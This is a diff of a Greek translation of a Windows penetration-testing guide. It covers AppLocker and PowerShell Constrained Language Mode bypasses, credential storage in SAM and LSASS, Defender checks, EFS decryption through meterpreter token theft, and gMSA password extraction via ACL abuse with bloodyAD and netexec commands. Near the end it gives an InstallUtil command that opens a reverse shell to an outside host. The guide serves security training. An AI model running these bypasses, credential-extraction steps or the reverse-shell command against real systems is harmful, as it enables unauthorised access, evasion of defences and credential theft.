- Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε Powershell** κώδικα σε οποιαδήποτε διεργασία και να παρακάμψετε το AppLocker. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||||
|
|
||||||
## Αποθήκευση Διαπιστευτηρίων
|
## Αποθήκευση διαπιστευτηρίων
|
||||||
|
|
||||||
### Security Accounts Manager (SAM)
|
### Διαχειριστής λογαριασμών ασφάλειας (Security Accounts Manager, SAM)
|
||||||
|
|
||||||
Τα τοπικά διαπιστευτήρια υπάρχουν σε αυτό το αρχείο, οι κωδικοί πρόσβασης είναι κατακερματισμένοι.
|
Τα τοπικά διαπιστευτήρια βρίσκονται σε αυτό το αρχείο, οι κωδικοί είναι κατακερματισμένοι.
|
||||||
|
|
||||||
### Local Security Authority (LSA) - LSASS
|
### Τοπική Αρχή Ασφαλείας (Local Security Authority, LSA) - LSASS
|
||||||
|
|
||||||
Τα **διαπιστευτήρια** (κατακερματισμένα) **αποθηκεύονται** στη **μνήμη** αυτού του υποσυστήματος για λόγους Single Sign-On.\
|
Τα **διαπιστευτήρια** (κατακερματισμένα) **αποθηκεύονται** στη **μνήμη** αυτού του υποσυστήματος για λόγους Single Sign-On.\
|
||||||
Η **LSA** διαχειρίζεται την τοπική **πολιτική ασφαλείας** (πολιτική κωδικών, δικαιώματα χρηστών...), την **αυθεντικοποίηση**, τα **access tokens**...\
|
**LSA** διαχειρίζεται την τοπική **πολιτική ασφάλειας** (password policy, δικαιώματα χρηστών...), **authentication**, **access tokens**...\
|
||||||
Η LSA θα είναι αυτή που θα **ελέγξει** για παρεχόμενα διαπιστευτήρια μέσα στο αρχείο **SAM** (για τοπική είσοδο) και θα **επικοινωνήσει** με τον **domain controller** για να αυθεντικοποιήσει έναν domain χρήστη.
|
Η LSA θα είναι αυτή που θα **ελέγξει** για τα παρεχόμενα διαπιστευτήρια μέσα στο αρχείο **SAM** (για τοπική σύνδεση) και θα **επικοινωνήσει** με τον **domain controller** για να πιστοποιήσει έναν domain χρήστη.
|
||||||
|
|
||||||
Τα **διαπιστευτήρια** **αποθηκεύονται** μέσα στη διαδικασία **LSASS**: Kerberos tickets, NT και LM hashes, εύκολα αποκρυπτογραφούμενοι κωδικοί πρόσβασης.
|
Τα **διαπιστευτήρια** **αποθηκεύονται** μέσα στη **διεργασία LSASS**: Kerberos tickets, NT και LM hashes, εύκολα αποκρυπτογραφούμενοι κωδικοί πρόσβασης.
|
||||||
|
|
||||||
### LSA secrets
|
### LSA secrets
|
||||||
|
|
||||||
Η LSA μπορεί να αποθηκεύσει στον δίσκο ορισμένα διαπιστευτήρια:
|
Η LSA μπορεί να αποθηκεύσει στον δίσκο κάποια διαπιστευτήρια:
|
||||||
|
|
||||||
- Κωδικός πρόσβασης του λογαριασμού υπολογιστή του Active Directory (όταν ο domain controller δεν είναι προσβάσιμος).
|
- Κωδικός του λογαριασμού του υπολογιστή στο Active Directory (απρόσιτος domain controller).
|
||||||
- Κωδικοί πρόσβασης λογαριασμών υπηρεσιών Windows
|
- Κωδικοί πρόσβασης των λογαριασμών των Windows services
|
||||||
- Κωδικοί πρόσβασης για προγραμματισμένες εργασίες
|
- Κωδικοί πρόσβασης για προγραμματισμένες εργασίες
|
||||||
- Περισσότερα (π.χ. κωδικός πρόσβασης εφαρμογών IIS...)
|
- Περισσότερα (π.χ. κωδικός εφαρμογών IIS...)
|
||||||
|
|
||||||
### NTDS.dit
|
### NTDS.dit
|
||||||
|
|
||||||
@ -69,11 +69,11 @@ C:\windows\tracing
|
|||||||
|
|
||||||
## Defender
|
## Defender
|
||||||
|
|
||||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που διατίθεται στα Windows 10 και Windows 11, και σε εκδόσεις του Windows Server. Αυτό **μπλοκάρει** κοινά pentesting εργαλεία όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι να **παρακαμφθούν αυτές οι προστασίες**.
|
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που είναι διαθέσιμο στα Windows 10 και Windows 11, και σε εκδόσεις του Windows Server. Αυτό **μπλοκάρει** κοινά pentesting εργαλεία όπως **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι να **παρακαμφθούν αυτές οι προστασίες**.
|
||||||
|
|
||||||
### Έλεγχος
|
### Έλεγχος
|
||||||
|
|
||||||
Για να ελέγξετε την **κατάσταση** του **Defender** μπορείτε να εκτελέσετε το PS cmdlet **`Get-MpComputerStatus`** (ελέγξτε την τιμή του **`RealTimeProtectionEnabled`** για να δείτε αν είναι ενεργό):
|
Για να ελέγξετε την **κατάσταση** του **Defender** μπορείτε να εκτελέσετε το PS cmdlet **`Get-MpComputerStatus`** (ελέγξτε την τιμή του **`RealTimeProtectionEnabled`** για να μάθετε αν είναι ενεργό):
|
||||||
|
|
||||||
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
|
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
|
||||||
|
|
||||||
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
|
|||||||
PSComputerName :
|
PSComputerName :
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
Για να το απαριθμήσετε μπορείτε επίσης να εκτελέσετε:
|
Για περαιτέρω διερεύνηση μπορείτε επίσης να εκτελέσετε:
|
||||||
```bash
|
```bash
|
||||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
|
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
|
||||||
wmic /namespace:\\root\securitycenter2 path antivirusproduct
|
wmic /namespace:\\root\securitycenter2 path antivirusproduct
|
||||||
@ -103,52 +103,53 @@ sc query windefend
|
|||||||
```
|
```
|
||||||
## Κρυπτογραφημένο Σύστημα Αρχείων (EFS)
|
## Κρυπτογραφημένο Σύστημα Αρχείων (EFS)
|
||||||
|
|
||||||
Το EFS προστατεύει αρχεία μέσω κρυπτογράφησης, χρησιμοποιώντας ένα **συμμετρικό κλειδί** γνωστό ως **File Encryption Key (FEK)**. Αυτό το κλειδί κρυπτογραφείται με το **δημόσιο κλειδί** του χρήστη και αποθηκεύεται στη $EFS **εναλλακτική ροή δεδομένων** του κρυπτογραφημένου αρχείου. Όταν χρειάζεται αποκρυπτογράφηση, το αντίστοιχο **ιδιωτικό κλειδί** του ψηφιακού πιστοποιητικού του χρήστη χρησιμοποιείται για να αποκρυπτογραφήσει το FEK από τη ροή $EFS. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
Η EFS προστατεύει αρχεία μέσω κρυπτογράφησης, χρησιμοποιώντας ένα **συμμετρικό κλειδί** γνωστό ως **File Encryption Key (FEK)**. Το κλειδί αυτό κρυπτογραφείται με το **δημόσιο κλειδί** του χρήστη και αποθηκεύεται στο $EFS **alternative data stream** του κρυπτογραφημένου αρχείου. Όταν απαιτείται αποκρυπτογράφηση, το αντίστοιχο **ιδιωτικό κλειδί** του ψηφιακού πιστοποιητικού του χρήστη χρησιμοποιείται για να αποκρυπτογραφήσει το FEK από το $EFS stream. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||||
|
|
||||||
**Σενάρια αποκρυπτογράφησης χωρίς πρωτοβουλία χρήστη** περιλαμβάνουν:
|
**Σενάρια αποκρυπτογράφησης χωρίς πρωτοβουλία του χρήστη** περιλαμβάνουν:
|
||||||
|
|
||||||
- Όταν αρχεία ή φάκελοι μετακινούνται σε μη-EFS σύστημα αρχείων, όπως [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), αποκρυπτογραφούνται αυτόματα.
|
- Όταν αρχεία ή φάκελοι μετακινούνται σε σύστημα αρχείων που δεν υποστηρίζει EFS, όπως [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), αποκαθίστανται αυτόματα.
|
||||||
- Κρυπτογραφημένα αρχεία που αποστέλλονται μέσω δικτύου με το πρωτόκολλο SMB/CIFS αποκρυπτογραφούνται πριν την αποστολή.
|
- Κρυπτογραφημένα αρχεία που αποστέλλονται μέσω δικτύου με το πρωτόκολλο SMB/CIFS αποκρυπτογραφούνται πριν από τη μετάδοση.
|
||||||
|
|
||||||
Αυτή η μέθοδος κρυπτογράφησης επιτρέπει **διαφανή πρόσβαση** στα κρυπτογραφημένα αρχεία για τον κάτοχο. Ωστόσο, το απλό άλλαγμα του κωδικού του κατόχου και η σύνδεση δεν επιτρέπουν την αποκρυπτογράφηση.
|
Αυτή η μέθοδος κρυπτογράφησης επιτρέπει **διαφανή πρόσβαση** στα κρυπτογραφημένα αρχεία για τον ιδιοκτήτη. Ωστόσο, η απλή αλλαγή του κωδικού του ιδιοκτήτη και το log in δεν επιτρέπουν αυτόματα την αποκρυπτογράφηση.
|
||||||
|
|
||||||
Κύρια σημεία:
|
Κύρια σημεία:
|
||||||
|
|
||||||
- Το EFS χρησιμοποιεί ένα συμμετρικό FEK, κρυπτογραφημένο με το δημόσιο κλειδί του χρήστη.
|
- Η EFS χρησιμοποιεί ένα συμμετρικό FEK, κρυπτογραφημένο με το δημόσιο κλειδί του χρήστη.
|
||||||
- Η αποκρυπτογράφηση χρησιμοποιεί το ιδιωτικό κλειδί του χρήστη για να αποκτήσει πρόσβαση στο FEK.
|
- Η αποκρυπτογράφηση γίνεται με το ιδιωτικό κλειδί του χρήστη για την πρόσβαση στο FEK.
|
||||||
- Η αυτόματη αποκρυπτογράφηση συμβαίνει υπό συγκεκριμένες συνθήκες, όπως η αντιγραφή σε FAT32 ή η μετάδοση μέσω δικτύου.
|
- Αυτόματη αποκρυπτογράφηση συμβαίνει υπό συγκεκριμένες συνθήκες, όπως αντιγραφή σε FAT32 ή μετάδοση μέσω δικτύου.
|
||||||
- Τα κρυπτογραφημένα αρχεία είναι προσβάσιμα από τον κάτοχο χωρίς επιπλέον ενέργειες.
|
- Τα κρυπτογραφημένα αρχεία είναι προσβάσιμα από τον ιδιοκτήτη χωρίς επιπλέον βήματα.
|
||||||
|
|
||||||
### Έλεγχος πληροφοριών EFS
|
### Έλεγχος πληροφοριών EFS
|
||||||
|
|
||||||
Ελέγξτε αν ένας **χρήστης** έχει **χρησιμοποιήσει** αυτήν την **υπηρεσία** ελέγχοντας αν υπάρχει το μονοπάτι:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
Ελέγξτε αν ένας **χρήστης** έχει **χρησιμοποιήσει** αυτή την **υπηρεσία** ελέγχοντας αν υπάρχει η διαδρομή:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||||
|
|
||||||
Ελέγξτε **ποιος** έχει **πρόσβαση** στο αρχείο χρησιμοποιώντας cipher /c \<file>\. Μπορείτε επίσης να χρησιμοποιήσετε `cipher /e` και `cipher /d` μέσα σε έναν φάκελο για να **κρυπτογραφήσετε** και να **αποκρυπτογραφήσετε** όλα τα αρχεία.
|
Ελέγξτε **ποιος** έχει **πρόσβαση** στο αρχείο χρησιμοποιώντας cipher /c \<file\>
|
||||||
|
Μπορείτε επίσης να χρησιμοποιήσετε `cipher /e` και `cipher /d` μέσα σε έναν φάκελο για να **encrypt** και **decrypt** όλα τα αρχεία
|
||||||
|
|
||||||
### Αποκρυπτογράφηση αρχείων EFS
|
### Αποκρυπτογράφηση αρχείων EFS
|
||||||
|
|
||||||
#### Εκτέλεση ως Authority System
|
#### Έχοντας δικαιώματα SYSTEM
|
||||||
|
|
||||||
Αυτή η μέθοδος απαιτεί ο **θιγόμενος χρήστης** να έχει **εκτελούμενη** μια **διαδικασία** στον κεντρικό υπολογιστή. Εάν συμβαίνει αυτό, χρησιμοποιώντας μια `meterpreter` συνεδρία μπορείτε να μιμηθείτε το token της διαδικασίας του χρήστη (`impersonate_token` από `incognito`). Εναλλακτικά, μπορείτε απλώς να `migrate` στη διαδικασία του χρήστη.
|
Αυτή η μέθοδος απαιτεί ο **θύμα-χρήστης** να **τρέχει** μια **διαδικασία** στο host. Αν αυτό συμβαίνει, χρησιμοποιώντας μια session `meterpreter` μπορείτε να μιμηθείτε το token της διεργασίας του χρήστη (`impersonate_token` από `incognito`). Ή μπορείτε απλά να `migrate` στη διεργασία του χρήστη.
|
||||||
|
|
||||||
#### Γνωρίζοντας τον κωδικό του χρήστη
|
#### Γνωρίζοντας τον κωδικό πρόσβασης του χρήστη
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Ομαδικοί Διαχειριζόμενοι Λογαριασμοί Υπηρεσίας (gMSA)
|
## Group Managed Service Accounts (gMSA)
|
||||||
|
|
||||||
Η Microsoft ανέπτυξε τους **Group Managed Service Accounts (gMSA)** για να απλοποιήσει τη διαχείριση των λογαριασμών υπηρεσιών σε υποδομές IT. Σε αντίθεση με τους παραδοσιακούς λογαριασμούς υπηρεσίας που συχνά έχουν ενεργοποιημένη τη ρύθμιση "**Password never expire**", τα gMSA προσφέρουν μια πιο ασφαλή και διαχειρίσιμη λύση:
|
Η Microsoft ανέπτυξε τα **Group Managed Service Accounts (gMSA)** για να απλοποιήσει τη διαχείριση των service accounts σε υποδομές IT. Σε αντίθεση με τους παραδοσιακούς service accounts που συχνά έχουν το ρυθμιστικό "**Password never expire**" ενεργό, τα gMSA προσφέρουν μια πιο ασφαλή και διαχειρίσιμη λύση:
|
||||||
|
|
||||||
- **Αυτόματη διαχείριση κωδικών**: Τα gMSA χρησιμοποιούν έναν σύνθετο, 240-χαρακτήρων κωδικό που αλλάζει αυτόματα σύμφωνα με την πολιτική του domain ή του υπολογιστή. Αυτή τη διαδικασία αναλαμβάνει η Key Distribution Service (KDC) της Microsoft, εξαλείφοντας την ανάγκη για χειροκίνητες ενημερώσεις κωδικών.
|
- **Automatic Password Management**: Τα gMSA χρησιμοποιούν έναν πολύπλοκο, 240-χαρακτήρων κωδικό που αλλάζει αυτόματα σύμφωνα με την πολιτική domain ή computer. Αυτή η διαδικασία διαχειρίζεται από την Key Distribution Service (KDC) της Microsoft, εξαλείφοντας την ανάγκη για χειροκίνητες ενημερώσεις κωδικών.
|
||||||
- **Ενισχυμένη ασφάλεια**: Αυτοί οι λογαριασμοί δεν υπόκεινται σε lockouts και δεν μπορούν να χρησιμοποιηθούν για interactive logins, ενισχύοντας την ασφάλειά τους.
|
- **Enhanced Security**: Αυτοί οι λογαριασμοί είναι ανοσοποιημένοι σε lockouts και δεν μπορούν να χρησιμοποιηθούν για interactive logins, αυξάνοντας την ασφάλειά τους.
|
||||||
- **Υποστήριξη πολλαπλών hosts**: Τα gMSA μπορούν να μοιραστούν σε πολλαπλούς hosts, καθιστώντας τα ιδανικά για υπηρεσίες που τρέχουν σε πολλαπλούς servers.
|
- **Multiple Host Support**: Τα gMSA μπορούν να μοιράζονται σε πολλαπλά hosts, καθιστώντας τα ιδανικά για υπηρεσίες που τρέχουν σε πολλαπλούς servers.
|
||||||
- **Δυνατότητα προγραμματισμένων εργασιών**: Σε αντίθεση με τους managed service accounts, τα gMSAs υποστηρίζουν την εκτέλεση προγραμματισμένων εργασιών.
|
- **Scheduled Task Capability**: Σε αντίθεση με managed service accounts, τα gMSA υποστηρίζουν την εκτέλεση scheduled tasks.
|
||||||
- **Απλοποιημένη διαχείριση SPN**: Το σύστημα ενημερώνει αυτόματα το Service Principal Name (SPN) όταν υπάρχουν αλλαγές στις λεπτομέρειες sAMaccount του υπολογιστή ή στο DNS name, απλοποιώντας τη διαχείριση των SPN.
|
- **Simplified SPN Management**: Το σύστημα ενημερώνει αυτόματα το Service Principal Name (SPN) όταν υπάρχουν αλλαγές στα sAMaccount στοιχεία ή το DNS name του υπολογιστή, απλοποιώντας τη διαχείριση των SPN.
|
||||||
|
|
||||||
Οι κωδικοί για τα gMSA αποθηκεύονται στην ιδιότητα LDAP _**msDS-ManagedPassword**_ και επαναρυθμίζονται αυτόματα κάθε 30 ημέρες από τους Domain Controllers (DCs). Αυτός ο κωδικός, ένα κρυπτογραφημένο blob δεδομένων γνωστό ως [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), μπορεί να ανακτηθεί μόνο από εξουσιοδοτημένους διαχειριστές και από τους servers στους οποίους έχουν εγκατασταθεί τα gMSAs, εξασφαλίζοντας ένα ασφαλές περιβάλλον. Για να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες απαιτείται μια ασφαλής σύνδεση όπως LDAPS, ή η σύνδεση πρέπει να είναι authenticated με 'Sealing & Secure'.
|
Οι κωδικοί των gMSA αποθηκεύονται στην ιδιότητα LDAP _**msDS-ManagedPassword**_ και επαναφέρονται αυτόματα κάθε 30 ημέρες από τους Domain Controllers (DCs). Αυτός ο κωδικός, ένα κρυπτογραφημένο blob δεδομένων γνωστό ως [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), μπορεί να ανακτηθεί μόνο από εξουσιοδοτημένους διαχειριστές και τους servers στους οποίους είναι εγκατεστημένα τα gMSA, εξασφαλίζοντας ένα ασφαλές περιβάλλον. Για να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες απαιτείται ασφαλής σύνδεση όπως LDAPS, ή η σύνδεση πρέπει να έχει authentication με 'Sealing & Secure'.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@ -156,48 +157,48 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
|||||||
```
|
```
|
||||||
/GMSAPasswordReader --AccountName jkohler
|
/GMSAPasswordReader --AccountName jkohler
|
||||||
```
|
```
|
||||||
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
[**Βρες περισσότερες πληροφορίες σε αυτήν την ανάρτηση**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||||
|
|
||||||
Επίσης, έλεγξε αυτή τη [web page](https://cube0x0.github.io/Relaying-for-gMSA/) σχετικά με το πώς να εκτελέσεις μια **NTLM relay attack** για να **read** το **password** του **gMSA**.
|
Επίσης, δες αυτή την [ιστοσελίδα](https://cube0x0.github.io/Relaying-for-gMSA/) για το πώς να εκτελέσεις μια **NTLM relay attack** για να **read** το **password** του **gMSA**.
|
||||||
|
|
||||||
### Κατάχρηση ACL chaining για να read το managed password του gMSA (GenericAll -> ReadGMSAPassword)
|
### Κατάχρηση αλυσίδας ACL για να read το gMSA managed password (GenericAll -> ReadGMSAPassword)
|
||||||
|
|
||||||
Σε πολλά περιβάλλοντα, χρήστες με χαμηλά προνόμια μπορούν να pivot σε gMSA secrets χωρίς DC compromise εκμεταλλευόμενοι λανθασμένα διαμορφωμένα object ACLs:
|
Σε πολλά περιβάλλοντα, χρήστες με χαμηλά προνόμια μπορούν να αποκτήσουν πρόσβαση σε μυστικά gMSA χωρίς να διακυβευτεί ο DC, εκμεταλλευόμενοι λανθασμένα ρυθμισμένα ACL αντικειμένων:
|
||||||
|
|
||||||
- Μια ομάδα που μπορείς να ελέγξεις (π.χ. μέσω GenericAll/GenericWrite) έχει παραχωρηθεί `ReadGMSAPassword` πάνω σε ένα gMSA.
|
- Μια ομάδα που ελέγχεις (π.χ. μέσω GenericAll/GenericWrite) έχει εκχωρημένο το `ReadGMSAPassword` σε ένα gMSA.
|
||||||
- Προσθέτοντας τον εαυτό σου σε αυτή την ομάδα, κληρονομείς το δικαίωμα να read το `msDS-ManagedPassword` blob του gMSA μέσω LDAP και να εξάγεις usable NTLM credentials.
|
- Προσθέτοντας τον εαυτό σου σε αυτή την ομάδα κληρονομείς το δικαίωμα να διαβάσεις το `msDS-ManagedPassword` blob του gMSA μέσω LDAP και να εξάγεις usable NTLM credentials.
|
||||||
|
|
||||||
Τυπική ροή εργασίας:
|
Τυπική ροή εργασίας:
|
||||||
|
|
||||||
1) Ανακάλυψε τη διαδρομή με BloodHound και σήμανε τους foothold principals σου ως Owned. Ψάξε για ακμές όπως:
|
1) Ανακάλυψε τη διαδρομή με BloodHound και σήμανε τους foothold principals ως Owned. Ψάξε για edges όπως:
|
||||||
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
|
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
|
||||||
|
|
||||||
2) Πρόσθεσε τον εαυτό σου στην ενδιάμεση ομάδα που ελέγχεις (παράδειγμα με bloodyAD):
|
2) Πρόσθεσε τον εαυτό σου στην ενδιάμεση ομάδα που ελέγχεις (παράδειγμα με bloodyAD):
|
||||||
```bash
|
```bash
|
||||||
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
|
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
|
||||||
```
|
```
|
||||||
3) Ανάγνωση του διαχειριζόμενου κωδικού gMSA μέσω LDAP και παραγωγή του NTLM hash. Το NetExec αυτοματοποιεί την εξαγωγή του `msDS-ManagedPassword` και τη μετατροπή σε NTLM:
|
3) Ανάγνωση του gMSA managed password μέσω LDAP και παραγωγή του NTLM hash. Το NetExec αυτοματοποιεί την εξαγωγή του `msDS-ManagedPassword` και τη μετατροπή σε NTLM:
|
||||||
```bash
|
```bash
|
||||||
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
|
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
|
||||||
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
|
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
|
||||||
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
|
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
|
||||||
```
|
```
|
||||||
4) Πιστοποιηθείτε ως το gMSA χρησιμοποιώντας το NTLM hash (δεν απαιτείται plaintext). Αν ο λογαριασμός είναι στους Remote Management Users, το WinRM θα λειτουργήσει απευθείας:
|
4) Πιστοποιηθείτε ως το gMSA χρησιμοποιώντας το NTLM hash (δεν απαιτείται plaintext). Αν ο λογαριασμός είναι στο Remote Management Users, το WinRM θα λειτουργήσει απευθείας:
|
||||||
```bash
|
```bash
|
||||||
# SMB / WinRM as the gMSA using the NT hash
|
# SMB / WinRM as the gMSA using the NT hash
|
||||||
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||||
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||||
```
|
```
|
||||||
Notes:
|
Σημειώσεις:
|
||||||
- Οι LDAP αναγνώσεις του `msDS-ManagedPassword` απαιτούν sealing (e.g., LDAPS/sign+seal). Τα εργαλεία το χειρίζονται αυτό αυτόματα.
|
- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
|
||||||
- Οι gMSAs συχνά λαμβάνουν τοπικά δικαιώματα όπως WinRM· επαληθεύστε τη συμμετοχή σε ομάδες (e.g., Remote Management Users) για να σχεδιάσετε lateral movement.
|
- Τα gMSAs συχνά λαμβάνουν τοπικά δικαιώματα όπως WinRM· επαληθεύστε τη συμμετοχή σε ομάδες (π.χ., Remote Management Users) για να σχεδιάσετε lateral movement.
|
||||||
- Αν χρειάζεστε μόνο το blob για να υπολογίσετε μόνοι σας το NTLM, δείτε τη δομή MSDS-MANAGEDPASSWORD_BLOB.
|
- Εάν χρειάζεστε μόνο το blob για να υπολογίσετε το NTLM εσείς οι ίδιοι, δείτε τη δομή MSDS-MANAGEDPASSWORD_BLOB.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## LAPS
|
## LAPS
|
||||||
|
|
||||||
Το **Local Administrator Password Solution (LAPS)**, διαθέσιμο για λήψη από [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), επιτρέπει τη διαχείριση των κωδικών του τοπικού Administrator. Αυτοί οι κωδικοί, οι οποίοι είναι **τυχαίοι**, μοναδικοί και **αλλάζουν τακτικά**, αποθηκεύονται κεντρικά στο Active Directory. Η πρόσβαση σε αυτούς τους κωδικούς περιορίζεται μέσω ACLs σε εξουσιοδοτημένους χρήστες. Εφόσον χορηγηθούν επαρκή δικαιώματα, παρέχεται η δυνατότητα ανάγνωσης των τοπικών κωδικών διαχειριστή.
|
Η **Local Administrator Password Solution (LAPS)**, διαθέσιμη για λήψη από τη [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), επιτρέπει τη διαχείριση των τοπικών κωδικών του Administrator. Αυτοί οι κωδικοί, οι οποίοι είναι **τυχαίοι**, μοναδικοί και **αλλάζουν τακτικά**, αποθηκεύονται κεντρικά στο Active Directory. Η πρόσβαση σε αυτούς τους κωδικούς περιορίζεται μέσω ACLs σε εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα, παρέχεται η δυνατότητα ανάγνωσης των τοπικών admin passwords.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -206,22 +207,22 @@ Notes:
|
|||||||
|
|
||||||
## PS Constrained Language Mode
|
## PS Constrained Language Mode
|
||||||
|
|
||||||
Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **περιορίζει πολλές από τις δυνατότητες** που χρειάζονται για την αποτελεσματική χρήση του PowerShell, όπως το μπλοκάρισμα αντικειμένων COM, η επιτρεπόμενη χρήση μόνο εγκεκριμένων τύπων .NET, ροών εργασίας βασισμένων σε XAML, κλάσεων PowerShell, και άλλα.
|
Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **περιορίζει πολλές από τις δυνατότητες** που χρειάζονται για την αποτελεσματική χρήση του PowerShell, όπως το μπλοκάρισμα COM objects, την επιτρεπόμενη χρήση μόνο εγκεκριμένων τύπων .NET, XAML-based workflows, PowerShell classes, και άλλα.
|
||||||
|
|
||||||
### **Έλεγχος**
|
### **Έλεγχος**
|
||||||
```bash
|
```bash
|
||||||
$ExecutionContext.SessionState.LanguageMode
|
$ExecutionContext.SessionState.LanguageMode
|
||||||
#Values could be: FullLanguage or ConstrainedLanguage
|
#Values could be: FullLanguage or ConstrainedLanguage
|
||||||
```
|
```
|
||||||
### Bypass
|
### Παράκαμψη
|
||||||
```bash
|
```bash
|
||||||
#Easy bypass
|
#Easy bypass
|
||||||
Powershell -version 2
|
Powershell -version 2
|
||||||
```
|
```
|
||||||
Στα τρέχοντα Windows αυτό το Bypass δεν θα λειτουργήσει αλλά μπορείτε να χρησιμοποιήσετε[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
Σε τρέχοντα Windows αυτό το Bypass δεν θα λειτουργήσει αλλά μπορείτε να χρησιμοποιήσετε [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||||
**Για να το μεταγλωττίσετε ίσως χρειαστεί** **να** _**Προσθέσετε Αναφορά**_ -> _Περιήγηση_ ->_Περιήγηση_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` and **change the project to .Net4.5**.
|
**Για να το μεταγλωττίσετε ίσως χρειαστεί** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> προσθέστε `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` και **αλλάξτε το project σε .Net4.5**.
|
||||||
|
|
||||||
#### Άμεσο Bypass:
|
#### Direct bypass:
|
||||||
```bash
|
```bash
|
||||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
|
||||||
```
|
```
|
||||||
@ -229,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
|||||||
```bash
|
```bash
|
||||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||||
```
|
```
|
||||||
